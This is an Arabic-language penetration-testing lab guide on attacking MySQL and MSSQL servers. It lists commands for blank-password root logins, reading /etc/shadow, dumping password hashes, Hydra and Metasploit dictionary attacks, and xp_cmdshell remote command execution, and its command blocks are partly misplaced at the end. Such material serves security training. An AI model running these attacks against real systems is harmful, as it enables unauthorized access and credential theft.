تحديد إصدار خادم MySQL، والاتصال به (بما في ذلك باستخدام حساب root بكلمة مرور فارغة)، وسرد قواعد البيانات، وقراءة ملفات النظام الحساسة (مثل /etc/shadow)، واستخراج هاشات كلمات المرور، واستخدام سكريبتات Nmap المختلفة لجمع معلومات حاسمة.
🔧 الخطوات العملية للاستغلال:
تحديد إصدار خادم MySQL:
لو أردت تحديد إصدار MySQL:
nmap-sV-p3306<Target_IP>
🔍 إشارة تنبيه:المنفذ 3306 هو المنفذ الافتراضي لـ MySQL. معرفة الإصدار (مثال: MySQL 5.6.26) تساعد في البحث عن الثغرات المعروفة.
محاولة الاتصال بكلمة مرور فارغة (Empty Password):
لو أردت اختبار الدخول إلى MySQL باسم المستخدم الافتراضي root بكلمة مرور فارغة (شائعة جداً):
mysql-h<Target_IP>-uroot-p
عندما يطلب كلمة المرور، اضغط Enter مباشرة. 🔍 إشارة تنبيه:إذا نجح الدخول، فقد حصلت على وصول كامل لقاعدة البيانات!.
لو أردت التحقق من الدخول بكلمة مرور فارغة لـ MySQL باستخدام Nmap Script mysql-empty-password:
nmap-p3306--scriptmysql-empty-password<Target_IP>
🔗 ربط سلسلة الأدوات: لو كشف السكريبت عن مستخدم root بكلمة مرور فارغة، يمكنك استخدام هذه المعلومات للدخول مباشرة بـ mysql client.
استخراج المعلومات الحساسة بعد الاتصال (MySQL Client):
لو دخلت إلى MySQL بنجاح (مثلاً بـ mysql -h <Target_IP> -u root -p):
لعرض جميع قواعد البيانات المتاحة:
show databases;
🔍 إشارة تنبيه:يجب إنهاء كل أمر SQL بفاصلة منقوطة ;.
للدخول إلى قاعدة بيانات معينة (مثلاً books):
use books;
لقراءة ملفات النظام الحساسة (مثلاً /etc/shadow) من خادم MySQL (يتطلب صلاحية FILE):
select load_file('/etc/shadow');
🔍 إشارة تنبيه:قراءة ملفات مثل /etc/shadow تكشف عن هاشات كلمات مرور المستخدمين! لو تمكنت من قراءته، قم بنسخ الهاشات لمحاولة فك تشفيرها (Cracking) لاحقاً.
تفريغ هاشات كلمات المرور (Dump Password Hashes) باستخدام Nmap Script:
لو أردت استخراج هاشات كلمات المرور لجميع مستخدمي MySQL (يتطلب بيانات اعتماد):
🔗 ربط سلسلة الأدوات: هذه السكريبتات توفر معلومات مفصلة عن هيكلة قاعدة البيانات.
تحديد الأدلة القابلة للكتابة (Writable Directories) باستخدام Metasploit:
لو أردت تحديد الأدلة على النظام التي يمكن لـ MySQL الكتابة فيها (قد تكون قابلة للاستغلال لتحميل ملفات خبيثة):
msfconsole -q
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS <Target_IP>
set USERNAME root
set PASSWORD ''
run
🔍 إشارة تنبيه:وجود أدلة قابلة للكتابة (مثال: /tmp, /root) هو نقطة ضعف تسمح برفع ملفات أو تنفيذ أوامر.
تحديد الملفات الحساسة (Sensitive Files) باستخدام Metasploit:
لو أردت تحديد الملفات الحساسة الموجودة على النظام والتي يمكن لـ MySQL الوصول إليها وقراءتها:
msfconsole -q
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS <Target_IP>
set USERNAME root
set PASSWORD ''
set FILE_LIST /path/to/sensitive_files_wordlist.txt # قائمة بالملفات المحتملة
run
🔍 إشارة تنبيه:هذا الموديول يمكن أن يكشف عن ملفات مثل /etc/passwd أو /etc/shadow.
🚀 سيناريو تحدي: الوصول إلى MySQL واستخراج هاشات المستخدمين وقراءة /etc/shadow:
الهدف: قم بالاتصال بقاعدة بيانات MySQL باستخدام حساب root وكلمة مرور فارغة، ثم استخدم أوامر SQL لقراءة محتوى ملف /etc/shadow واستخراج هاشات كلمات المرور للمستخدمين، وتأكيد ذلك باستخدام Nmap Script.
الخطوات:
لو اكتشفت المنفذ 3306 مفتوحاً، حاول الاتصال بـ MySQL كـ root بدون كلمة مرور:
اضغط Enter عندما يطلب كلمة المرور.
داخل MySQL، اقرأ محتوى /etc/shadow:
بعد الخروج، أكد استخراج الهاشات باستخدام Nmap Script:
🔍 إشارة تنبيه:قارن الهاشات المستخرجة من MySQL client و Nmap Script.
6.2 💻 لاب: MySQL Dictionary Attack Lab
🎯 الهدف الأساسي:
تنفيذ هجمات القاموس (Dictionary Attack) على MySQL لاكتشاف كلمات مرور المستخدمين (مثل root) باستخدام Metasploit و Hydra، ثم استخدام هذه البيانات للدخول إلى قاعدة البيانات.
🔧 الخطوات العملية للاستغلال:
هجوم القاموس على MySQL باستخدام Metasploit Framework:
لو أردت تخمين كلمة مرور لمستخدم MySQL (مثلاً root والحصول على root:catalina):
شغل Metasploit Console:
استخدم الموديول mysql_login:
🔗 ربط سلسلة الأدوات: ناتج هذا الموديول هو بيانات الاعتماد (اسم المستخدم وكلمة المرور) التي تستخدم للدخول إلى MySQL.
هجوم القاموس على MySQL باستخدام Hydra:
لو أردت تخمين كلمة مرور لمستخدم MySQL (مثلاً root والحصول على root:catalina):
تأكد من فك ضغط قائمة الكلمات rockyou.txt.gz أولاً:
🔗 ربط سلسلة الأدوات: ملف rockyou.txt غير المضغوط سيستخدم كمدخل لـ Hydra.
شغل Hydra:
🔍 إشارة تنبيه:Hydra فعالة جداً في اكتشاف كلمات المرور الضعيفة من القواميس الكبيرة.
🚀 سيناريو تحدي: اكتشاف كلمة مرور root باستخدام Hydra، ثم الدخول بها إلى MySQL:
الهدف: استخدم Hydra لتخمين كلمة مرور مستخدم root في MySQL، ثم استخدم كلمة المرور المكتشفة للدخول إلى قاعدة البيانات عبر mysql client.
الخطوات:
لو اكتشفت المنفذ 3306 مفتوحاً، استخدم Hydra لتخمين كلمة مرور root:
افترض أن كلمة المرور المكتشفة هي catalina.
ادخل إلى MySQL باستخدام كلمة المرور المكتشفة:
عند طلب كلمة المرور، أدخل catalina.
داخل MySQL، قم بسرد قواعد البيانات لتأكيد الوصول:
6.3 💻 لاب: MySQL Recon – Nmap Scripts Lab (يقصد به MSSQL في المصدر)
🎯 الهدف الأساسي:
استكشاف خادم MSSQL باستخدام سكريبتات Nmap، بما في ذلك جمع معلومات الخادم، وبيانات NTLM، وهجمات القوة الغاشمة، والتحقق من كلمات المرور الفارغة، واستخراج المستخدمين وهاشات كلمات المرور، وتنفيذ الأوامر عن بُعد باستخدام خاصية xp_cmdshell (إذا كانت مفعلة).
🔧 الخطوات العملية للاستغلال:
تحديد إصدار خادم MSSQL وجمع المعلومات:
لو أردت تحديد إصدار MSSQL (مثال: Microsoft SQL Server 2019) وجمع معلومات عامة:
🔍 إشارة تنبيه:المنفذ 1433 هو المنفذ الافتراضي لـ MSSQL. معرفة الإصدار تساعد في البحث عن الثغرات المعروفة.
لجمع معلومات NTLM إضافية (قد تكشف عن اسم الدومين/الخادم):
محاولة الاتصال بكلمة مرور فارغة (Empty Password):
لو أردت التحقق ما إذا كان هناك مستخدم (مثلاً sa) يمكنه الدخول إلى MSSQL بكلمة مرور فارغة:
🔍 إشارة تنبيه:إذا سمح، فهذه ثغرة خطيرة جداً توفر وصولاً مباشراً.
هجوم القوة الغاشمة (Brute-Force) على MSSQL (Nmap Script):
لو أردت تخمين أسماء المستخدمين وكلمات المرور لـ MSSQL (يتطلب قائمة مستخدمين وكلمات مرور):
🔗 ربط سلسلة الأدوات: ناتج هذا الأمر هو بيانات اعتماد (مثل admin:Anamaria).
استخراج المستخدمين وهاشات كلمات المرور (Nmap Scripts):
لو أردت استخراج أسماء مستخدمي النظام المسجلين على MSSQL وحفظهم في ملف:
🔗 ربط سلسلة الأدوات: ناتج هذا الأمر هو ملف users.txt الذي يحتوي على أسماء المستخدمين.
لو أردت استخراج هاشات كلمات المرور لجميع مستخدمي MSSQL (يتطلب بيانات اعتماد):
🔗 ربط سلسلة الأدوات: الهاشات المستخرجة يمكن فكها (crack) باستخدام أدوات مثل hashcat.
تنفيذ الأوامر عن بُعد (Remote Command Execution) (MSSQL - xp_cmdshell):
لو أردت تنفيذ أوامر نظام التشغيل على خادم MSSQL المستهدف (يتطلب تفعيل خاصية xp_cmdshell وامتلاك بيانات اعتماد):
🔗 ربط سلسلة الأدوات: ناتج أمر ipconfig سيعرض معلومات شبكة الجهاز المستهدف. 🔍 إشارة تنبيه:تفعيل xp_cmdshell هو ثغرة خطيرة جداً تمنحك سيطرة واسعة على النظام المستهدف لتنفيذ أوامر نظام التشغيل.
قراءة ملفات الفلاج (Flag Files) باستخدام xp_cmdshell:
لو أردت قراءة ملف flag.txt مخفي على قرص C: (مثلاً C:\flag.txt):
🔍 إشارة تنبيه:الأمر type في Windows يُستخدم لقراءة محتوى الملفات، ويقابله cat في Linux.
🚀 سيناريو تحدي: الوصول إلى MSSQL، استخراج الهاشات، وقراءة الفلاج:
الهدف: بعد الحصول على بيانات اعتماد لـ MSSQL (مثلاً admin:Anamaria)، قم باستخراج هاشات كلمات المرور، ثم استغل خاصية xp_cmdshell (إذا كانت مفعلة) لقراءة ملف flag.txt.
الخطوات:
لو حصلت على بيانات اعتماد لـ MSSQL (مثلاً admin:Anamaria):
استخرج هاشات كلمات المرور لجميع مستخدمي MSSQL:
استغل xp_cmdshell (إذا كانت مفعلة) لقراءة الفلاج (مثلاً C:\flag.txt):
قم بتدوين قيمة الفلاج.
6.4 💻 لاب: MySQL Recon – Metasploit Lab (يقصد به MSSQL في المصدر)
🎯 الهدف الأساسي:
استكشاف خادم MSSQL باستخدام وحدات Metasploit، بما في ذلك تخمين الدخول، وتعداد معلومات شاملة عن الخادم، وتعداد الدخول، وتنفيذ الأوامر عن بُعد، وتعداد حسابات النطاق (Domain Accounts).
🔧 الخطوات العملية للاستغلال:
تخمين الدخول (Login Brute-Force) على MSSQL باستخدام Metasploit Framework:
لو أردت تخمين كلمات المرور لمستخدمي MSSQL (مثلاً sa بكلمة مرور فارغة أو db_admin:password):
شغل Metasploit Console:
استخدم الموديول mssql_login:
🔗 ربط سلسلة الأدوات: ناتج هذا الموديول هو بيانات اعتماد (مثلاً sa:, db_admin:password).
تعداد معلومات MSSQL الشاملة (Metasploit):
لو أردت جمع معلومات مفصلة عن خادم MSSQL (إصدارات، داتابيز، مستخدمين، إعدادات):
🔗 ربط سلسلة الأدوات: هذا الموديول يجمع معلومات عامة مفيدة للخطوات اللاحقة.
تعداد الدخول (Logins) والمستخدمين (Metasploit):
لو أردت تعداد جميع المستخدمين (Logins) الذين يمكنهم الدخول إلى MSSQL، وتحديد صلاحياتهم (مثلاً sysadmin):
🔍 إشارة تنبيه:هذا الأمر يكتشف المستخدمين (مثلاً sa, db_admin, auditor, admin) ويحدد صلاحياتهم.
تنفيذ الأوامر عن بُعد (Remote Command Execution) (MSSQL - mssql_exec):
لو أردت تنفيذ أوامر نظام التشغيل على خادم MSSQL المستهدف (يتطلب تفعيل خاصية xp_cmdshell وامتلاك بيانات اعتماد):
🔗 ربط سلسلة الأدوات: سيتم تنفيذ الأمر وستظهر نتيجته في Metasploit. 🔍 إشارة تنبيه:كما هو الحال مع Nmap Script، تنفيذ الأوامر عبر xp_cmdshell (التي يستغلها هذا الموديول) هو ثغرة خطيرة جداً.
تعداد حسابات النطاق (Domain Accounts) والمجموعات (Metasploit):
لو أردت استخراج جميع المستخدمين والمجموعات ضمن النطاق أو الجهاز الذي ينتمي إليه خادم MSSQL (خاصة في بيئات Active Directory):
🔍 إشارة تنبيه:هذا الموديول مفيد جداً في بيئات Windows Server لتعداد المستخدمين والمجموعات في الدومين، مما يساعد في التخطيط لهجمات Active Directory.
🚀 سيناريو تحدي: تنفيذ أمر ipconfig عن بعد وتعداد حسابات النطاق:
الهدف: بعد الحصول على بيانات اعتماد لـ MSSQL (مثلاً admin:Anamaria)، قم بتنفيذ أمر ipconfig عن بعد، ثم استخدم موديول Metasploit لتعداد جميع حسابات النطاق والمجموعات.
الخطوات:
لو حصلت على بيانات اعتماد لـ MSSQL (مثلاً admin:Anamaria):
نفذ أمر ipconfig عن بعد:
تعداد حسابات النطاق:
🔍 إشارة تنبيه:نتائج تعداد حسابات النطاق ستظهر لك قائمة مفصلة بالمستخدمين والمجموعات، والتي يمكن أن تكون مفيدة لسيناريوهات هجمات Active Directory.
use auxiliary/scanner/mysql/mysql_login
set RHOSTS <Target_IP>
set USERNAME root
set PASS_FILE /usr/share/wordlists/unix_passwords.txt # مثال، أو /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
run
gzip -d /usr/share/wordlists/rockyou.txt.gz
hydra -l root -P /usr/share/wordlists/rockyou.txt <Target_IP> mysql
hydra -l root -P /usr/share/wordlists/rockyou.txt <Target_IP> mysql
use auxiliary/scanner/mssql/mssql_login
set RHOSTS <Target_IP>
set USER_FILE /path/to/users.txt # قائمة بالمستخدمين المحتملين (مثل 'sa', 'admin', 'db_admin')
set PASS_FILE /usr/share/wordlists/rockyou.txt # قائمة كلمات المرور
set STOP_ON_SUCCESS true
run
msfconsole -q
use auxiliary/admin/mssql/mssql_enum
set RHOSTS <Target_IP>
# (إذا كان يتطلب مصادقة) set USERNAME <username>
# (إذا كان يتطلب مصادقة) set PASSWORD <password>
run
msfconsole -q
use auxiliary/admin/mssql/mssql_enum_logins
set RHOSTS <Target_IP>
# set USERNAME <username>
# set PASSWORD <password>
run
msfconsole -q
use auxiliary/admin/mssql/mssql_exec
set RHOSTS <Target_IP>
set USERNAME admin
set PASSWORD Anamaria
set CMD "whoami" # أو أي أمر آخر (مثال: 'ipconfig', 'type C:\flag.txt')
run
msfconsole -q
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set RHOSTS <Target_IP>
set USERNAME admin
set PASSWORD Anamaria
run
msfconsole -q
use auxiliary/admin/mssql/mssql_exec
set RHOSTS <Target_IP>
set USERNAME admin
set PASSWORD Anamaria
set CMD "ipconfig"
run
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set RHOSTS <Target_IP>
set USERNAME admin
set PASSWORD Anamaria
run